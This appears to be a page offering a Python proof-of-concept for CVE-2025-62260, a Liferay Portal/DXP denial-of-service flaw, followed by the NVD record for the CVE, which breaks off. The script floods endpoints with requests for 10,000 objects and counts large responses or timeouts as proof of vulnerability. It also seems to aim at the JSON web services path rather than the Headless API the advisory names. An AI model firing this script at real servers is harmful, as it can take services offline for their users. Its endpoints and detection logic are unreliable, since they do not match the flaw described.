CVE-2025-62260

import requests import time # CVE-2025-62260 Liferay Headless API DoS PoC # Target: Liferay Portal/DXP with vulnerable Headless API TARGET_URL = "http://target.com/api/jsonws" CVE_ID = "CVE-2025-62260" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-62260""" # Test endpoint with large page size test_endpoints = [ "/user/get-users", "/group/get-groups", "/layout/get-layouts" ] for endpoint in test_endpoints: try: # Attempt to request large number of objects params = { "pageSize": 10000, # Request large dataset "start": 0, "end": 10000 } response = requests.get( f"{TARGET_URL}{endpoint}", params=params, timeout=30 ) # Check if response contains large data set if response.status_code == 200: data_size = len(response.content) print(f"[+] Endpoint {endpoint} returned {data_size} bytes") if data_size > 1000000: # > 1MB suggests vulnerability print(f"[!] Potential vulnerability detected on {endpoint}") return True except requests.exceptions.Timeout: print(f"[!] Request timeout on {endpoint} - possible DoS condition") return True except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return False if __name__ == "__main__": print(f"[*] Testing {CVE_ID}") if check_vulnerability(): print("[!] Target is VULNERABLE") else: print("[*] Target may not be vulnerable")

{"cve": {"id": "CVE-2025-62260", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:41.590", "lastModified": "2025-11-10T21:56:20.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Liferay Portal 7.4.0 through 7.4.3.99, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions does not limit the number of objects returned from Headless API requests, which allows remote attackers to perform denial-of-service (DoS) attacks on the application by executing a request that returns a large number of objects."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:-:*:*:*:*:*:*", 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